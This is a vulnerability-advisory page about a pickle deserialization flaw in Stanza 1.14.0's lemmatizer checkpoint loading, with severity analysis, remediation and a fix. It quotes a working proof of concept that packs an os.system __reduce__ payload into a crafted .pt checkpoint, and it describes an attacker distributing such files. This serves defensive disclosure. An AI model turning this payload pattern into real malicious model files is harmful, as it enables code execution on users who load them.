Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessDeliver crafted lemmatizer .pt checkpoint
-
ExploitVictim loads model via stanza.Pipeline
-
ExecutionUnrestricted pickle.loads deserializes embedded payload
-
ImpactExecute arbitrary code as loading user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to load an attacker-controlled or untrusted lemmatizer checkpoint (.pt) whose checkpoint['dicts'] carries a gzip-compressed pickle and whose dicts_version == 2 (the _DICTS_VERSION_POS v2 pickle format introduced in stanza 1.14.0). The documented trigger is stanza.Pipeline(lang=..., processors='tokenize,pos,lemma', lemma_model_path='<attacker-influenced .pt>') or any equivalent load of an untrusted/shared lemma model via a custom registry, routing through Trainer.load -> _unpack_pos_dict's unrestricted pickle.loads. Limiting factors: user interaction is mandatory (UI:R) - the victim must actively load the malicious file, which is a local load, not a network-triggered RCE; only stanza 1.14.0 with the v2 dict format is affected (1.15.0 rejects v2 files with a ValueError); and to reach line 378 through the full Pipeline path the crafted file must also carry well-formed config/vocab (established by source review), though calling _unpack_pos_dict directly needs only the bytes. No checksum protects caller-supplied paths - MD5 verification exists only in the default registry download flow. |
| Impact | Signals are mixed and point to a genuine but conditional threat rather than a mass-exploitation emergency. The CVSS 3.1 vector (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 7.8 High) correctly models this as a 'malicious file' flaw: it is NOT a remote network RCE - exploitation requires the victim to load an attacker-supplied lemmatizer checkpoint (AV:L + UI:R), so the AV:L/UI:R pairing is the dominant risk-limiting factor despite PR:N. A working PoC is published in the GitHub Security Advisory (GHSA-gh9r-c94j-cmp5) and was confirmed end-to-end by the reporter against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7, which raises practical risk. However, no CISA KEV listing is present (no confirmed active exploitation) and no EPSS score was supplied, so widespread or automated exploitation cannot be asserted from the data. The vuln.today decision label is 'this_week', consistent with a patched, high-impact-but-interaction-gated issue rather than 'act_now'/'emergency'. Scope is further narrowed because only stanza 1.14.0 using the v2 gzip+pickle dict format (dicts_version==2) is affected, and the fix (1.15.0) both switches to JSON and hard-rejects v2 files. Bottom line: real priority for anyone who loads shared, caller-supplied, or registry-distributed lemmatizer models, but it is not an unauthenticated internet-facing RCE. |
| Exploit ScenarioDerived | An attacker publishes or shares a malicious stanza lemmatizer checkpoint (.pt) - e.g. on a model hub, in a shared registry, or sent to a downstream user - whose 'dicts' field contains a gzip-compressed pickle with a __reduce__ payload returning (os.system, (cmd,)). When a victim constructs stanza.Pipeline(..., processors='tokenize,pos,lemma', lemma_model_path='<file>'), Trainer.load calls _unpack_pos_dict, which runs an unrestricted pickle.loads and executes the embedded command as the loading user at pipeline-construction time, before any inference. A public PoC demonstrating this is published in the GHSA advisory and confirmed working; because AV:L/UI:R applies, it depends on the victim actively loading the attacker's file. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 03, 2026
Deserialization of untrusted data in the Stanza lemmatizer allows arbitrary code execution when a downstream user loads an attacker-supplied lemma checkpoint (.pt) via the documented Pipeline API (lemma_model_path) or any custom registry path. Since version 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle inside the checkpoint's dicts field, and Trainer.load passes those bytes to an unrestricted pickle.loads after torch.load(weights_only=True) lets the bytes primitive through unexamined - the flaw was confirmed end-to-end against stanza 1.14.0 with PyTorch 2.13.0 and CPython 3.13.7. Exploitation is conditional: user interaction is mandatory, since the victim must actively load the malicious file, and only stanza 1.14.0 with the v2 dict format is affected; a public proof-of-concept reference exists in the advisory, but it is not verified as working exploit code against the full Pipeline path, and there is no confirmed active exploitation (no CISA KEV) at time of analysis.
RemediationAI
Upgrade to Stanza 1.15.0, the vendor-released fixed version published at https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0; the fix landed in PR https://github.com/stanfordnlp/stanza/pull/1649 (commit b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0). In 1.15.0 the lemmatizer stores pos_dict as gzip-compressed JSON (dicts_version 3) using orjson, and any checkpoint still in the v2 pickle format is rejected at load time with a ValueError that directs users to stanza/utils/lemma/convert_lemma_dict.py, which converts v1 and v2 models to v3. Users who cannot upgrade immediately should not load lemmatizer checkpoints from untrusted, shared or caller-supplied locations via lemma_model_path or a custom registry, and should convert any v2 models in their possession with the conversion script using an isolated environment; note that after conversion those models will only load correctly on 1.15.0 or later, so conversion and upgrade must be performed together. Where an in-house patch is required, replace the inner pickle.loads with the project's existing RestrictedUnpickler from stanza/models/common/doc.py, which allowlists only tuple, list and dict, or eliminate pickle from the path entirely by switching to JSON.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause class is code injection through unsafe deserialization (CWE-94, also tracked as CWE-502). Stanza's lemmatizer serializes its pos_dict - a nested {pos: {word: lemma}} string mapping - by pickling it, gzip-compressing the stream, and storing the resulting bytes under the checkpoint's dicts key. On load, torch.load is called with weights_only=True, which restricts the outer unpickler's class allowlist; however, because a bytes value is treated as a primitive, the allowlist never inspects the compressed inner stream, so the protection is illusory here. Trainer.load then checks dicts_version and, for the v2 format (_DICTS_VERSION_POS, value 2), routes the bytes into _unpack_pos_dict, which gunzips them and calls a bare pickle.loads - the only unrestricted unpickler in the codebase. Because a pickle's __reduce__ can return an arbitrary callable such as os.system with arguments, the inner stream executes code in the loading user's context. This is distinct from the earlier weights_only=False fallback issue tracked as CVE-2026-54499: the outer load remains restricted and the exposure lies entirely in the inner pickle. The upstream fix replaces pickle with orjson (a gzip+JSON v3 format), introduces _DICTS_VERSION_POS_PICKLE = 2 and _DICTS_VERSION_POS = 3, and makes v2 checkpoints raise a ValueError pointing to a conversion script.
Know when Checkpoint gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Victim must load an attacker-supplied model file (AV:L, UI:R) with no prior authentication (PR:N); unrestricted deserialization yields full code execution, so C/I/A:H and scope unchanged.
Primary rating from Vendor (https://github.com/stanfordnlp/stanza).
CVSS VectorVendor: https://github.com/stanfordnlp/stanza
DescriptionCVE.org
TL;DR
Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.
Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).
A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.
The vulnerable path
stanza/models/lemma/trainer.py:
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def _unpack_pos_dict(data):
# line 54
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return pickle.loads(raw)
# <-- unrestricted default unpicklerdef load(self, filename, ...):
# line 365
checkpoint = torch.load(filename, ..., weights_only=True)
# outer allowlist; bytes pass through intact
...
if dicts_version == _DICTS_VERSION_POS:
# dicts_version == 2 (current format)
self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])
# line 378, no validationReachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.
Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.
Minimal PoC
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:
# same shape as _pack_pos_dict()
gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)
loaded = torch.load(pt, lambda s, l: s, weights_only=True)
# SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])
# == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.
Fix
Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):
from stanza.models.common.doc import RestrictedUnpickler
def _unpack_pos_dict(data):
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return RestrictedUnpickler(io.BytesIO(raw)).load()A legitimate pos_dict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by find_class. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.
Blast Radius
ecosystem impact- 2 pypi packages depend on stanza (2 direct, 0 indirect)
Ecosystem-wide dependent count for version 1.14.0.
Articles & Coverage 1
Technical POC Analysis
Deserialization of untrusted data (CWE-502, tracked as CWE-94) via a nested pickle stream that the outer torch.load allowlist cannot see.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Latest POC
1 PoC candidate from github (unverified)
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
A high-severity vulnerability in Stanford's Stanza NLP library (version 1.14.0) enables arbitrary code execution when a user loads a malicious lemma checkpoint file via the documented Pipeline API. This requires user interaction-someone must explicitly load the crafted file-so the risk is concentrated among teams that ingest external or untrusted model files. Leadership should care because a successful exploit could lead to full system compromise, data breach, or ransomware, undermining trust in AI supply chains.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Checkpoint
View allGNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which
Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the inte
GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of
backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to e
Remote code execution in Check Point Quantum Security Gateway arises from improper certificate trust validation during V
Authentication bypass in the Check Point SmartConsole login process lets an unauthenticated remote attacker mint a valid
Authentication bypass in Check Point Quantum Security Gateway and Spark Firewalls allows unauthenticated remote attacker
Unauthenticated attackers who can reach the file-upload interface of Check Point Management Server can combine directory
An OpenSSL TLS server may crash if sent a maliciously crafted renegotiation ClientHello message from a client. Rated med
Remote code execution in Check Point Quantum Security Gateway and Quantum Security Management stems from a heap-based bu
Unauthenticated remote code execution affects Check Point Quantum Security Management, where a stack-based buffer overfl
The huggingface/transformers library is vulnerable to arbitrary code execution through deserialization of untrusted data
EUVD-2026-116216
GHSA-gh9r-c94j-cmp5
NVD
CVE.org
Vulnrichment
Exploit-DB